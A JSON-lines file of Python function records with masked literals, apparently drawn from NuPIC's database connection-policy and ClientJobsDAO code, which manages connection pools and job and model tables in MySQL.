{"signature": "def __init__(self):", "body": "self._logger = _getLogger(self.__class__)<EOL>self._conn = SteadyDB.connect(** _getCommonSteadyDBArgsDict())<EOL>self._logger.debug(\"<STR_LIT>\", self.__class__.__name__)<EOL>return<EOL>", "docstring": "Consruct an instance. The instance's open() method must be\n        called to make it ready for acquireConnection() calls.", "id": "f17554:c4:m0"}
{"signature": "def close(self):", "body": "self._logger.info(\"<STR_LIT>\")<EOL>if self._conn is not None:<EOL><INDENT>self._conn.close()<EOL>self._conn = None<EOL><DEDENT>else:<EOL><INDENT>self._logger.warning(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Close the policy instance and its shared database connection.", "id": "f17554:c4:m1"}
{"signature": "def acquireConnection(self):", "body": "self._logger.debug(\"<STR_LIT>\")<EOL>self._conn._ping_check()<EOL>connWrap = ConnectionWrapper(dbConn=self._conn,<EOL>cursor=self._conn.cursor(),<EOL>releaser=self._releaseConnection,<EOL>logger=self._logger)<EOL>return connWrap<EOL>", "docstring": "Get a Connection instance.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:       A ConnectionWrapper instance. NOTE: Caller\n                        is responsible for calling the  ConnectionWrapper\n                        instance's release() method or use it in a context manager\n                        expression (with ... as:) to release resources.", "id": "f17554:c4:m2"}
{"signature": "def _releaseConnection(self, dbConn, cursor):", "body": "self._logger.debug(\"<STR_LIT>\")<EOL>cursor.close()<EOL>return<EOL>", "docstring": "Release database connection and cursor; passed as a callback to\n        ConnectionWrapper", "id": "f17554:c4:m3"}
{"signature": "def __init__(self):", "body": "self._logger = _getLogger(self.__class__)<EOL>self._logger.debug(\"<STR_LIT>\")<EOL>self._pool = PooledDB(**_getCommonSteadyDBArgsDict())<EOL>self._logger.info(\"<STR_LIT>\", self.__class__.__name__)<EOL>return<EOL>", "docstring": "Consruct an instance. The instance's open() method must be\n        called to make it ready for acquireConnection() calls.", "id": "f17554:c5:m0"}
{"signature": "def close(self):", "body": "self._logger.info(\"<STR_LIT>\")<EOL>if self._pool is not None:<EOL><INDENT>self._pool.close()<EOL>self._pool = None<EOL><DEDENT>else:<EOL><INDENT>self._logger.warning(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Close the policy instance and its database connection pool.", "id": "f17554:c5:m1"}
{"signature": "def acquireConnection(self):", "body": "self._logger.debug(\"<STR_LIT>\")<EOL>dbConn = self._pool.connection(shareable=False)<EOL>connWrap = ConnectionWrapper(dbConn=dbConn,<EOL>cursor=dbConn.cursor(),<EOL>releaser=self._releaseConnection,<EOL>logger=self._logger)<EOL>return connWrap<EOL>", "docstring": "Get a connection from the pool.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:       A ConnectionWrapper instance. NOTE: Caller\n                        is responsible for calling the  ConnectionWrapper\n                        instance's release() method or use it in a context manager\n                        expression (with ... as:) to release resources.", "id": "f17554:c5:m2"}
{"signature": "def _releaseConnection(self, dbConn, cursor):", "body": "self._logger.debug(\"<STR_LIT>\")<EOL>cursor.close()<EOL>dbConn.close()<EOL>return<EOL>", "docstring": "Release database connection and cursor; passed as a callback to\n        ConnectionWrapper", "id": "f17554:c5:m3"}
{"signature": "def __init__(self):", "body": "self._logger = _getLogger(self.__class__)<EOL>self._opened = True<EOL>self._logger.info(\"<STR_LIT>\", self.__class__.__name__)<EOL>return<EOL>", "docstring": "Consruct an instance. The instance's open() method must be\n        called to make it ready for acquireConnection() calls.", "id": "f17554:c6:m0"}
{"signature": "def close(self):", "body": "self._logger.info(\"<STR_LIT>\")<EOL>if self._opened:<EOL><INDENT>self._opened = False<EOL><DEDENT>else:<EOL><INDENT>self._logger.warning(<EOL>\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Close the policy instance.", "id": "f17554:c6:m1"}
{"signature": "def acquireConnection(self):", "body": "self._logger.debug(\"<STR_LIT>\")<EOL>dbConn = SteadyDB.connect(** _getCommonSteadyDBArgsDict())<EOL>connWrap = ConnectionWrapper(dbConn=dbConn,<EOL>cursor=dbConn.cursor(),<EOL>releaser=self._releaseConnection,<EOL>logger=self._logger)<EOL>return connWrap<EOL>", "docstring": "Create a Connection instance.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:       A ConnectionWrapper instance. NOTE: Caller\n                        is responsible for calling the  ConnectionWrapper\n                        instance's release() method or use it in a context manager\n                        expression (with ... as:) to release resources.", "id": "f17554:c6:m2"}
{"signature": "def _releaseConnection(self, dbConn, cursor):", "body": "self._logger.debug(\"<STR_LIT>\")<EOL>cursor.close()<EOL>dbConn.close()<EOL>return<EOL>", "docstring": "Release database connection and cursor; passed as a callback to\n        ConnectionWrapper", "id": "f17554:c6:m3"}
{"signature": "def _abbreviate(text, threshold):", "body": "if text is not None and len(text) > threshold:<EOL><INDENT>text = text[:threshold] + \"<STR_LIT>\"<EOL><DEDENT>return text<EOL>", "docstring": "Abbreviate the given text to threshold chars and append an ellipsis if its\n    length exceeds threshold; used for logging;\n\n    NOTE: the resulting text could be longer than threshold due to the ellipsis", "id": "f17555:m0"}
{"signature": "@classmethod<EOL><INDENT>def dbNamePrefix(cls):<DEDENT>", "body": "return cls.__getDBNamePrefixForVersion(cls._DB_VERSION)<EOL>", "docstring": "Get the beginning part of the database name for the current version\n        of the database. This, concatenated with\n        '_' + Configuration.get('nupic.cluster.database.nameSuffix') will\n        produce the actual database name used.", "id": "f17555:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def __getDBNamePrefixForVersion(cls, dbVersion):<DEDENT>", "body": "return '<STR_LIT>' % (cls._DB_ROOT_NAME, dbVersion)<EOL>", "docstring": "Get the beginning part of the database name for the given database\n        version. This, concatenated with\n        '_' + Configuration.get('nupic.cluster.database.nameSuffix') will\n        produce the actual database name used.\n\n        Parameters:\n        ----------------------------------------------------------------\n        dbVersion:      ClientJobs database version number\n\n        retval:         the ClientJobs database name prefix for the given DB version", "id": "f17555:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def _getDBName(cls):<DEDENT>", "body": "return cls.__getDBNameForVersion(cls._DB_VERSION)<EOL>", "docstring": "Generates the ClientJobs database name for the current version of the\n        database; \"semi-private\" class method for use by friends of the class.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:         the ClientJobs database name", "id": "f17555:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def __getDBNameForVersion(cls, dbVersion):<DEDENT>", "body": "<EOL>prefix = cls.__getDBNamePrefixForVersion(dbVersion)<EOL>suffix = Configuration.get('<STR_LIT>')<EOL>suffix = suffix.replace(\"<STR_LIT:->\", \"<STR_LIT:_>\")<EOL>suffix = suffix.replace(\"<STR_LIT:.>\", \"<STR_LIT:_>\")<EOL>dbName = '<STR_LIT>' % (prefix, suffix)<EOL>return dbName<EOL>", "docstring": "Generates the ClientJobs database name for the given version of the\n        database\n\n        Parameters:\n        ----------------------------------------------------------------\n        dbVersion:      ClientJobs database version number\n\n        retval:         the ClientJobs database name for the given DB version", "id": "f17555:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>@logExceptions(_LOGGER)<EOL>def get():<DEDENT>", "body": "<EOL>if ClientJobsDAO._instance is None:<EOL><INDENT>cjDAO = ClientJobsDAO()<EOL>cjDAO.connect()<EOL>ClientJobsDAO._instance = cjDAO<EOL><DEDENT>return ClientJobsDAO._instance<EOL>", "docstring": "Get the instance of the ClientJobsDAO created for this process (or\n        perhaps at some point in the future, for this thread).\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:  instance of ClientJobsDAO", "id": "f17555:c1:m4"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def __init__(self):<DEDENT>", "body": "self._logger = _LOGGER<EOL>assert (ClientJobsDAO._instance is None)<EOL>self.dbName = self._getDBName()<EOL>self._jobs = self._JobsTableInfo()<EOL>self._jobs.tableName = '<STR_LIT>' % (self.dbName)<EOL>self._models = self._ModelsTableInfo()<EOL>self._models.tableName = '<STR_LIT>' % (self.dbName)<EOL>self._connectionID = None<EOL>", "docstring": "Instantiate a ClientJobsDAO instance.\n\n        Parameters:\n        ----------------------------------------------------------------", "id": "f17555:c1:m5"}
{"signature": "def _columnNameDBToPublic(self, dbName):", "body": "words = dbName.split('<STR_LIT:_>')<EOL>if dbName.startswith('<STR_LIT:_>'):<EOL><INDENT>words = words[<NUM_LIT:1>:]<EOL><DEDENT>pubWords = [words[<NUM_LIT:0>]]<EOL>for word in words[<NUM_LIT:1>:]:<EOL><INDENT>pubWords.append(word[<NUM_LIT:0>].upper() + word[<NUM_LIT:1>:])<EOL><DEDENT>return '<STR_LIT>'.join(pubWords)<EOL>", "docstring": "Convert a database internal column name to a public name. This\n        takes something of the form word1_word2_word3 and converts it to:\n        word1Word2Word3. If the db field name starts with '_', it is stripped out\n        so that the name is compatible with collections.namedtuple.\n        for example: _word1_word2_word3 => word1Word2Word3\n\n        Parameters:\n        --------------------------------------------------------------\n        dbName:      database internal field name\n        retval:      public name", "id": "f17555:c1:m8"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def connect(self, deleteOldVersions=False, recreate=False):<DEDENT>", "body": "<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>self._initTables(cursor=conn.cursor, deleteOldVersions=deleteOldVersions,<EOL>recreate=recreate)<EOL>conn.cursor.execute('<STR_LIT>')<EOL>self._connectionID = conn.cursor.fetchall()[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>self._logger.info(\"<STR_LIT>\", self._connectionID)<EOL><DEDENT>return<EOL>", "docstring": "Locate the current version of the jobs DB or create a new one, and\n        optionally delete old versions laying around. If desired, this method\n        can be called at any time to re-create the tables from scratch, delete\n        old versions of the database, etc.\n\n        Parameters:\n        ----------------------------------------------------------------\n        deleteOldVersions:   if true, delete any old versions of the DB left\n                              on the server\n        recreate:            if true, recreate the database from scratch even\n                              if it already exists.", "id": "f17555:c1:m9"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def _initTables(self, cursor, deleteOldVersions, recreate):<DEDENT>", "body": "<EOL>if deleteOldVersions:<EOL><INDENT>self._logger.info(<EOL>\"<STR_LIT>\",<EOL>traceback.format_stack())<EOL>for i in range(self._DB_VERSION):<EOL><INDENT>cursor.execute('<STR_LIT>' %<EOL>(self.__getDBNameForVersion(i),))<EOL><DEDENT><DEDENT>if recreate:<EOL><INDENT>self._logger.info(<EOL>\"<STR_LIT>\",<EOL>self.dbName, traceback.format_stack())<EOL>cursor.execute('<STR_LIT>' % (self.dbName))<EOL><DEDENT>cursor.execute('<STR_LIT>' % (self.dbName))<EOL>cursor.execute('<STR_LIT>' % (self.dbName))<EOL>output = cursor.fetchall()<EOL>tableNames = [x[<NUM_LIT:0>] for x in output]<EOL>if '<STR_LIT>' not in tableNames:<EOL><INDENT>self._logger.info(\"<STR_LIT>\", self.jobsTableName)<EOL>fields = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % (self.CLIENT_MAX_LEN),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % (self.HASH_MAX_LEN),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'  %self.CMPL_REASON_SUCCESS,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % self.DEFAULT_JOB_PRIORITY,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'  %self.CLEAN_NOT_DONE,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>options = [<EOL>'<STR_LIT>',<EOL>]<EOL>query = '<STR_LIT>' %(self.jobsTableName, '<STR_LIT:U+002C>'.join(fields), '<STR_LIT:U+002C>'.join(options))<EOL>cursor.execute(query)<EOL><DEDENT>if '<STR_LIT>' not in tableNames:<EOL><INDENT>self._logger.info(\"<STR_LIT>\", self.modelsTableName)<EOL>fields = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % (self.HASH_MAX_LEN),<EOL>'<STR_LIT>' % (self.HASH_MAX_LEN),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>options = [<EOL>'<STR_LIT>',<EOL>]<EOL>query = '<STR_LIT>' %(self.modelsTableName, '<STR_LIT:U+002C>'.join(fields), '<STR_LIT:U+002C>'.join(options))<EOL>cursor.execute(query)<EOL><DEDENT>cursor.execute('<STR_LIT>' % (self.jobsTableName))<EOL>fields = cursor.fetchall()<EOL>self._jobs.dbFieldNames = [str(field[<NUM_LIT:0>]) for field in fields]<EOL>cursor.execute('<STR_LIT>' % (self.modelsTableName))<EOL>fields = cursor.fetchall()<EOL>self._models.dbFieldNames = [str(field[<NUM_LIT:0>]) for field in fields]<EOL>self._jobs.publicFieldNames = [self._columnNameDBToPublic(x)<EOL>for x in self._jobs.dbFieldNames]<EOL>self._models.publicFieldNames = [self._columnNameDBToPublic(x)<EOL>for x in self._models.dbFieldNames]<EOL>self._jobs.pubToDBNameDict = dict(<EOL>list(zip(self._jobs.publicFieldNames, self._jobs.dbFieldNames)))<EOL>self._jobs.dbToPubNameDict = dict(<EOL>list(zip(self._jobs.dbFieldNames, self._jobs.publicFieldNames)))<EOL>self._models.pubToDBNameDict = dict(<EOL>list(zip(self._models.publicFieldNames, self._models.dbFieldNames)))<EOL>self._models.dbToPubNameDict = dict(<EOL>list(zip(self._models.dbFieldNames, self._models.publicFieldNames)))<EOL>self._models.modelInfoNamedTuple = collections.namedtuple(<EOL>'<STR_LIT>', self._models.publicFieldNames)<EOL>self._jobs.jobInfoNamedTuple = collections.namedtuple(<EOL>'<STR_LIT>', self._jobs.publicFieldNames)<EOL>return<EOL>", "docstring": "Initialize tables, if needed\n\n        Parameters:\n        ----------------------------------------------------------------\n        cursor:              SQL cursor\n        deleteOldVersions:   if true, delete any old versions of the DB left\n                              on the server\n        recreate:            if true, recreate the database from scratch even\n                              if it already exists.", "id": "f17555:c1:m10"}
{"signature": "def _getMatchingRowsNoRetries(self, tableInfo, conn, fieldsToMatch,<EOL>selectFieldNames, maxRows=None):", "body": "assert fieldsToMatch, repr(fieldsToMatch)<EOL>assert all(k in tableInfo.dbFieldNames<EOL>for k in fieldsToMatch.keys()), repr(fieldsToMatch)<EOL>assert selectFieldNames, repr(selectFieldNames)<EOL>assert all(f in tableInfo.dbFieldNames for f in selectFieldNames), repr(<EOL>selectFieldNames)<EOL>matchPairs = list(fieldsToMatch.items())<EOL>matchExpressionGen = (<EOL>p[<NUM_LIT:0>] +<EOL>('<STR_LIT>' + {True:'<STR_LIT>', False:'<STR_LIT>'}[p[<NUM_LIT:1>]] if isinstance(p[<NUM_LIT:1>], bool)<EOL>else '<STR_LIT>' if p[<NUM_LIT:1>] is None<EOL>else '<STR_LIT>' if isinstance(p[<NUM_LIT:1>], self._SEQUENCE_TYPES)<EOL>else '<STR_LIT>')<EOL>for p in matchPairs)<EOL>matchFieldValues = [p[<NUM_LIT:1>] for p in matchPairs<EOL>if (not isinstance(p[<NUM_LIT:1>], (bool)) and p[<NUM_LIT:1>] is not None)]<EOL>query = '<STR_LIT>' % (<EOL>'<STR_LIT:U+002C>'.join(selectFieldNames), tableInfo.tableName,<EOL>'<STR_LIT>'.join(matchExpressionGen))<EOL>sqlParams = matchFieldValues<EOL>if maxRows is not None:<EOL><INDENT>query += '<STR_LIT>'<EOL>sqlParams.append(maxRows)<EOL><DEDENT>conn.cursor.execute(query, sqlParams)<EOL>rows = conn.cursor.fetchall()<EOL>if rows:<EOL><INDENT>assert maxRows is None or len(rows) <= maxRows, \"<STR_LIT>\" % (<EOL>len(rows), maxRows)<EOL>assert len(rows[<NUM_LIT:0>]) == len(selectFieldNames), \"<STR_LIT>\" % (<EOL>len(rows[<NUM_LIT:0>]), len(selectFieldNames))<EOL><DEDENT>else:<EOL><INDENT>rows = tuple()<EOL><DEDENT>return rows<EOL>", "docstring": "Return a sequence of matching rows with the requested field values from\n        a table or empty sequence if nothing matched.\n\n        tableInfo:       Table information: a ClientJobsDAO._TableInfoBase  instance\n        conn:            Owned connection acquired from ConnectionFactory.get()\n        fieldsToMatch:   Dictionary of internal fieldName/value mappings that\n                         identify the desired rows. If a value is an instance of\n                         ClientJobsDAO._SEQUENCE_TYPES (list/set/tuple), then the\n                         operator 'IN' will be used in the corresponding SQL\n                         predicate; if the value is bool: \"IS TRUE/FALSE\"; if the\n                         value is None: \"IS NULL\"; '=' will be used for all other\n                         cases.\n        selectFieldNames:\n                         list of fields to return, using internal field names\n        maxRows:         maximum number of rows to return; unlimited if maxRows\n                          is None\n\n        retval:          A sequence of matching rows, each row consisting of field\n                          values in the order of the requested field names.  Empty\n                          sequence is returned when not match exists.", "id": "f17555:c1:m11"}
{"signature": "@g_retrySQL<EOL><INDENT>def _getMatchingRowsWithRetries(self, tableInfo, fieldsToMatch,<EOL>selectFieldNames, maxRows=None):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>return self._getMatchingRowsNoRetries(tableInfo, conn, fieldsToMatch,<EOL>selectFieldNames, maxRows)<EOL><DEDENT>", "docstring": "Like _getMatchingRowsNoRetries(), but with retries on transient MySQL\n        failures", "id": "f17555:c1:m12"}
{"signature": "def _getOneMatchingRowNoRetries(self, tableInfo, conn, fieldsToMatch,<EOL>selectFieldNames):", "body": "rows = self._getMatchingRowsNoRetries(tableInfo, conn, fieldsToMatch,<EOL>selectFieldNames, maxRows=<NUM_LIT:1>)<EOL>if rows:<EOL><INDENT>assert len(rows) == <NUM_LIT:1>, repr(len(rows))<EOL>result = rows[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>result = None<EOL><DEDENT>return result<EOL>", "docstring": "Return a single matching row with the requested field values from the\n        the requested table or None if nothing matched.\n\n        tableInfo:       Table information: a ClientJobsDAO._TableInfoBase  instance\n        conn:            Owned connection acquired from ConnectionFactory.get()\n        fieldsToMatch:   Dictionary of internal fieldName/value mappings that\n                         identify the desired rows. If a value is an instance of\n                         ClientJobsDAO._SEQUENCE_TYPES (list/set/tuple), then the\n                         operator 'IN' will be used in the corresponding SQL\n                         predicate; if the value is bool: \"IS TRUE/FALSE\"; if the\n                         value is None: \"IS NULL\"; '=' will be used for all other\n                         cases.\n        selectFieldNames:\n                         list of fields to return, using internal field names\n\n        retval:          A sequence of field values of the matching row in the order\n                          of the given field names; or None if there was no match.", "id": "f17555:c1:m13"}
{"signature": "@g_retrySQL<EOL><INDENT>def _getOneMatchingRowWithRetries(self, tableInfo, fieldsToMatch,<EOL>selectFieldNames):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>return self._getOneMatchingRowNoRetries(tableInfo, conn, fieldsToMatch,<EOL>selectFieldNames)<EOL><DEDENT>", "docstring": "Like _getOneMatchingRowNoRetries(), but with retries on transient MySQL\n        failures", "id": "f17555:c1:m14"}
{"signature": "def _insertOrGetUniqueJobNoRetries(<EOL>self, conn, client, cmdLine, jobHash, clientInfo, clientKey, params,<EOL>minimumWorkers, maximumWorkers, jobType, priority, alreadyRunning):", "body": "assert len(client) <= self.CLIENT_MAX_LEN, \"<STR_LIT>\" + repr(client)<EOL>assert cmdLine, \"<STR_LIT>\" + repr(cmdLine)<EOL>assert len(jobHash) == self.HASH_MAX_LEN, \"<STR_LIT>\" % len(jobHash)<EOL>if alreadyRunning:<EOL><INDENT>initStatus = self.STATUS_TESTMODE<EOL><DEDENT>else:<EOL><INDENT>initStatus = self.STATUS_NOTSTARTED<EOL><DEDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>sqlParams = (initStatus, client, clientInfo, clientKey, cmdLine, params,<EOL>jobHash, minimumWorkers, maximumWorkers, priority, jobType)<EOL>numRowsInserted = conn.cursor.execute(query, sqlParams)<EOL>jobID = <NUM_LIT:0><EOL>if numRowsInserted == <NUM_LIT:1>:<EOL><INDENT>conn.cursor.execute('<STR_LIT>')<EOL>jobID = conn.cursor.fetchall()[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if jobID == <NUM_LIT:0>:<EOL><INDENT>self._logger.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobType, client, _abbreviate(clientInfo, <NUM_LIT:32>), clientKey, jobHash,<EOL>cmdLine)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert numRowsInserted == <NUM_LIT:0>, repr(numRowsInserted)<EOL><DEDENT>if jobID == <NUM_LIT:0>:<EOL><INDENT>row = self._getOneMatchingRowNoRetries(<EOL>self._jobs, conn, dict(client=client, job_hash=jobHash), ['<STR_LIT>'])<EOL>assert row is not None<EOL>assert len(row) == <NUM_LIT:1>, '<STR_LIT>' + repr(len(row))<EOL>jobID = row[<NUM_LIT:0>]<EOL><DEDENT>if alreadyRunning:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>conn.cursor.execute(query, (self._connectionID, jobID))<EOL><DEDENT>return jobID<EOL>", "docstring": "Attempt to insert a row with the given parameters into the jobs table.\n        Return jobID of the inserted row, or of an existing row with matching\n        client/jobHash key.\n\n        The combination of client and jobHash are expected to be unique (enforced\n        by a unique index on the two columns).\n\n        NOTE: It's possibe that this or another process (on this or another machine)\n         already inserted a row with matching client/jobHash key (e.g.,\n         StreamMgr). This may also happen undetected by this function due to a\n         partially-successful insert operation (e.g., row inserted, but then\n         connection was lost while reading response) followed by retries either of\n         this function or in SteadyDB module.\n\n        Parameters:\n        ----------------------------------------------------------------\n        conn:            Owned connection acquired from ConnectionFactory.get()\n        client:          Name of the client submitting the job\n        cmdLine:         Command line to use to launch each worker process; must be\n                          a non-empty string\n        jobHash:         unique hash of this job. The caller must insure that this,\n                          together with client, uniquely identifies this job request\n                          for the purposes of detecting duplicates.\n        clientInfo:      JSON encoded dict of client specific information.\n        clientKey:       Foreign key.\n        params:          JSON encoded dict of the parameters for the job. This\n                          can be fetched out of the database by the worker processes\n                          based on the jobID.\n        minimumWorkers:  minimum number of workers design at a time.\n        maximumWorkers:  maximum number of workers desired at a time.\n        priority:        Job scheduling priority; 0 is the default priority (\n                          ClientJobsDAO.DEFAULT_JOB_PRIORITY); positive values are\n                          higher priority (up to ClientJobsDAO.MAX_JOB_PRIORITY),\n                          and negative values are lower priority (down to\n                          ClientJobsDAO.MIN_JOB_PRIORITY). Higher-priority jobs will\n                          be scheduled to run at the expense of the lower-priority\n                          jobs, and higher-priority job tasks will preempt those\n                          with lower priority if there is inadequate supply of\n                          scheduling slots. Excess lower priority job tasks will\n                          starve as long as slot demand exceeds supply. Most jobs\n                          should be scheduled with DEFAULT_JOB_PRIORITY. System jobs\n                          that must run at all cost, such as Multi-Model-Master,\n                          should be scheduled with MAX_JOB_PRIORITY.\n        alreadyRunning:  Used for unit test purposes only. This inserts the job\n                          in the running state. It is used when running a worker\n                          in standalone mode without hadoop- it gives it a job\n                          record to work with.\n\n        retval:           jobID of the inserted jobs row, or of an existing jobs row\n                           with matching client/jobHash key", "id": "f17555:c1:m16"}
{"signature": "def _resumeJobNoRetries(self, conn, jobID, alreadyRunning):", "body": "<EOL>if alreadyRunning:<EOL><INDENT>initStatus = self.STATUS_TESTMODE<EOL><DEDENT>else:<EOL><INDENT>initStatus = self.STATUS_NOTSTARTED<EOL><DEDENT>assignments = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>assignmentValues = [initStatus]<EOL>if alreadyRunning:<EOL><INDENT>assignments += ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>']<EOL>assignmentValues.append(self._connectionID)<EOL><DEDENT>else:<EOL><INDENT>assignments += ['<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>assignments = '<STR_LIT:U+002CU+0020>'.join(assignments)<EOL>query = '<STR_LIT>''<STR_LIT>'% (self.jobsTableName, assignments)<EOL>sqlParams = assignmentValues + [jobID, self.STATUS_COMPLETED]<EOL>numRowsAffected = conn.cursor.execute(query, sqlParams)<EOL>assert numRowsAffected <= <NUM_LIT:1>, repr(numRowsAffected)<EOL>if numRowsAffected == <NUM_LIT:0>:<EOL><INDENT>self._logger.info(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", jobID)<EOL><DEDENT>return<EOL>", "docstring": "Resumes processing of an existing job that is presently in the\n        STATUS_COMPLETED state.\n\n        NOTE: this is primarily for resuming suspended Production and Stream Jobs; DO\n         NOT use it on Hypersearch jobs.\n\n        This prepares an existing job entry to resume processing. The CJM is always\n        periodically sweeping the jobs table and when it finds a job that is ready\n        to run, it will proceed to start it up on Hadoop.\n\n        Parameters:\n        ----------------------------------------------------------------\n        conn:            Owned connection acquired from ConnectionFactory.get()\n        jobID:          jobID of the job to resume\n        alreadyRunning: Used for unit test purposes only. This inserts the job\n                         in the running state. It is used when running a worker\n                         in standalone mode without hadoop.\n\n        raises:         Throws a RuntimeError if no rows are affected. This could\n                        either be because:\n                          1) Because there was not matching jobID\n                          2) or if the status of the job was not STATUS_COMPLETED.\n\n        retval:            nothing", "id": "f17555:c1:m17"}
{"signature": "def getConnectionID(self):", "body": "return self._connectionID<EOL>", "docstring": "Return our connection ID. This can be used for worker identification\n        purposes.\n\n        NOTE: the actual MySQL connection ID used in queries may change from time\n         to time if connection is re-acquired (e.g., upon MySQL server restart) or\n         when more than one entry from the connection pool has been used (e.g.,\n         multi-threaded apps)", "id": "f17555:c1:m18"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobSuspend(self, jobID):<DEDENT>", "body": "<EOL>self.jobCancel(jobID)<EOL>return<EOL>", "docstring": "Requests a job to be suspended\n\n        NOTE: this is primarily for suspending Production Jobs; DO NOT use\n        it on Hypersearch jobs. For canceling any job type, use jobCancel() instead!\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:          jobID of the job to resume\n\n        retval:            nothing", "id": "f17555:c1:m19"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobResume(self, jobID, alreadyRunning=False):<DEDENT>", "body": "row = self.jobGetFields(jobID, ['<STR_LIT:status>'])<EOL>(jobStatus,) = row<EOL>if jobStatus != self.STATUS_COMPLETED:<EOL><INDENT>raise RuntimeError((\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (jobID, jobStatus))<EOL><DEDENT>@g_retrySQL<EOL>def resumeWithRetries():<EOL><INDENT>with ConnectionFactory.get() as conn:<EOL><INDENT>self._resumeJobNoRetries(conn, jobID, alreadyRunning)<EOL><DEDENT><DEDENT>resumeWithRetries()<EOL>return<EOL>", "docstring": "Resumes processing of an existing job that is presently in the\n        STATUS_COMPLETED state.\n\n        NOTE: this is primarily for resuming suspended Production Jobs; DO NOT use\n        it on Hypersearch jobs.\n\n        NOTE: The job MUST be in the STATUS_COMPLETED state at the time of this\n        call, otherwise an exception will be raised.\n\n        This prepares an existing job entry to resume processing. The CJM is always\n        periodically sweeping the jobs table and when it finds a job that is ready\n        to run, will proceed to start it up on Hadoop.\n\n        Parameters:\n        ----------------------------------------------------------------\n        job:            jobID of the job to resume\n        alreadyRunning: Used for unit test purposes only. This inserts the job\n                         in the running state. It is used when running a worker\n                         in standalone mode without hadoop.\n\n        raises:         Throws a RuntimeError if no rows are affected. This could\n                        either be because:\n                          1) Because there was not matching jobID\n                          2) or if the status of the job was not STATUS_COMPLETED.\n\n        retval:            nothing", "id": "f17555:c1:m20"}
